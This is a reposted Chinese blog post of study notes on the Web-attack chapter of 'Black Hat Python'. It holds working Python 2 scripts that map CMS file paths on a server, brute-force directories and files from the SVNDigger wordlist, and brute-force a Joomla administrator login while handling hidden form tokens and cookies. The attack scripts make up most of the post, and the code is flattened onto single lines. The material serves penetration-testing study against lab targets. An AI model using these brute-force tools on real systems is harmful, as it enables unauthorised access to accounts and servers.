《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函數庫:urllib2
一開始以urllib2.py命名腳本,在Sublime Text中運行會出錯,糾錯后發現是重名了,改過來就好:
#!/usr/bin/python #coding=utf-8 import urllib2url = "http://www.baidu.com"headers = {} headers['User-Agent'] = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"request = urllib2.Request(url,headers=headers) response = urllib2.urlopen(request)print response.read() response.close() # body = urllib2.urlopen("http://www.baidu.com")# print body.read()?
運行結果:
放在Python的shell環境中運行:
注意到由于有中文,所以為了避免出現亂碼就在調用了read()函數之后再調用decode("utf-8")來進行utf-8的字符解密。
?
開源Web應用安裝:
這里的前提是Web服務器使用的是開源CMS來建站的,而且自己也下載了一套相應的開源代碼。
這里使用盾靈的CMS吧,可以直接在網上下載,其界面如圖:
接著直接上代碼吧:
#!/usr/bin/python #coding=utf-8 import Queue import threading import os import urllib2threads = 10target = "http://10.10.10.144/dunling" directory = "/dunling" filters = [".jpg",".gif",".png",".css"]os.chdir(directory)web_paths = Queue.Queue()for r,d,f in os.walk("."):for files in f:remote_path = "%s/%s"%(r,files)if remote_path.startswith("."):remote_path = remote_path[1:]if os.path.splitext(files)[1] not in filters:web_paths.put(remote_path)def test_remote():while not web_paths.empty():path = web_paths.get()url = "%s%s"%(target,path)request = urllib2.Request(url)try:response = urllib2.urlopen(request)content = response.read()print "[%d] => %s"%(response.code,path)response.close()except urllib2.HTTPError as error:# print "Failed %s"%error.codepassfor i in range(threads):print "Spawning thread : %d"%it = threading.Thread(target=test_remote)t.start()運行結果:
?
?
暴力破解目錄和文件位置:
先下載SVNDigger的第三方暴力破解工具的字典:https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/
將其中的all.txt文件放到相應的目錄以備調用,這里就和示例一樣放到/tmp目錄中。
#!/usr/bin/python #coding=utf-8import urllib2 import threading import Queue import urllibthreads = 50 target_url = "http://testphp.vulnweb.com" wordlist_file = "/tmp/all.txt" # from SVNDigger resume = None user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"def build_wordlist(wordlist_file):#讀入字典文件fd = open(wordlist_file,"rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:word = word.rstrip()if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s"%resumeelse:words.put(word)return wordsdef dir_bruter(word_queue,extensions=None):while not word_queue.empty():attempt = word_queue.get()attempt_list = []#檢測是否有文件擴展名,若沒有則就是要暴力破解的路徑if "." not in attempt:attempt_list.append("/%s/"%attempt)else:attempt_list.append("/%s"%attempt)#如果我們想暴破擴展if extensions:for extension in extensions:attempt_list.append("/%s%s"%(attempt,extension))#迭代我們要嘗試的文件列表for brute in attempt_list:url = "%s%s"%(target_url,urllib.quote(brute))try:headers = {}headers["User-Agent"] = user_agentr = urllib2.Request(url,headers=headers)response = urllib2.urlopen(r)if len(response.read()):print "[%d] => %s"%(response.code,url)except urllib2.URLError, e:if hasattr(e,'code') and e.code != 404:print "!!! %d => %s"%(e.code,url)password_queue = build_wordlist(wordlist_file) extensions = [".php",".bak",".orig",".inc"]for i in range(threads):t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))t.start()運行結果:
?
暴力破解HTML表格認證:
先下載Joomla,安裝后之后到后臺登陸頁面:
?
右鍵查看源代碼,分析表單的關鍵信息:
?
?
可以看到,在表單中input標簽下代表用戶名和密碼的變量的名稱為username和passwd;在form標簽最后的地方有一個長整型的隨機字符串,這時Joomla對抗暴力破解技術的關鍵,會在當前的用戶會話中通過存儲在cookie中進行檢測;登錄成功的對比字符串是頁面返回的title的內容,即“Administration - Control Panel”。
所以,書上作者也給出了爆破Joomla的流程:
1、檢索登錄頁面,接受所有返回的cookies值;
2、從HTML中獲取所有表單元素;
3、在你的字典中設置需要猜測的用戶名和密碼;
4、發送HTTP POST數據包到登錄處理腳本,數據包含所有的HTML表單文件和存儲的cookies值;
5、測試是否能登錄成功。
?
代碼如下:
#!/usr/bin/python #coding=utf-8import urllib2 import urllib import cookielib import threading import sys import Queuefrom HTMLParser import HTMLParser#簡要設置 user_thread = 10 username = "admin" wordlist_file = "/tmp/passwd.txt" resume = None#特定目標設置 target_url = "http://10.10.10.144/Joomla/administrator/index.php" target_post = "http://10.10.10.144/Joomla/administrator/index.php"username_field = "username" password_field = "passwd"success_check = "Administration - Control Panel"class Bruter(object):"""docstring for Bruter"""def __init__(self, username, words):self.username = usernameself.password_q = wordsself.found = Falseprint "Finished setting up for: %s"%usernamedef run_bruteforce(self):for i in range(user_thread):t = threading.Thread(target=self.web_bruter)t.start()def web_bruter(self):while not self.password_q.empty() and not self.found:brute = self.password_q.get().rstrip()jar = cookielib.FileCookieJar("cookies")opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))response = opener.open(target_url)page = response.read()print "Trying: %s : %s (%d left)"%(self.username,brute,self.password_q.qsize())#解析隱藏區域parser = BruteParser()parser.feed(page)post_tags = parser.tag_results#添加我們的用戶名和密碼區域post_tags[username_field] = self.usernamepost_tags[password_field] = brutelogin_data = urllib.urlencode(post_tags)login_response = opener.open(target_post,login_data)login_result = login_response.read()if success_check in login_result:self.found = Trueprint "[*] Bruteforce successful. "print "[*] Username: %s"%self.usernameprint "[*] Password: %s"%bruteprint "[*] Waiting for other threads to exit ... "class BruteParser(HTMLParser):"""docstring for BruteParser"""def __init__(self):HTMLParser.__init__(self)self.tag_results = {}def handle_starttag(self,tag,attrs):if tag == "input":tag_name = Nonetag_value = Nonefor name,value in attrs:if name == "name":tag_name = valueif name == "value":tag_value = valueif tag_name is not None:self.tag_results[tag_name] = valuedef build_wordlist(wordlist_file):fd = open(wordlist_file,"rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:word = word.rstrip()if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s"%resumeelse:words.put(word)return wordswords = build_wordlist(wordlist_file)brute_obj = Bruter(username,words) brute_obj.run_bruteforce()這里主要導入cookielib庫,調用其FileCookieJar()函數來將cookie值存儲在cookies文件中,并通過urllib2庫的HTTPCookieProcessor()函數來進行cookie處理再返回給urllib2庫的build_opener()函數創建自定義opener對象使之具有支持cookie的功能。
運行結果:
轉載于:https://www.cnblogs.com/LyShark/p/9102019.html
總結
以上是生活随笔為你收集整理的《Python黑帽子:黑客与渗透测试编程之道》 Web攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 孕妇梦到小猫是胎梦吗
- 下一篇: Python循环的一些基本练习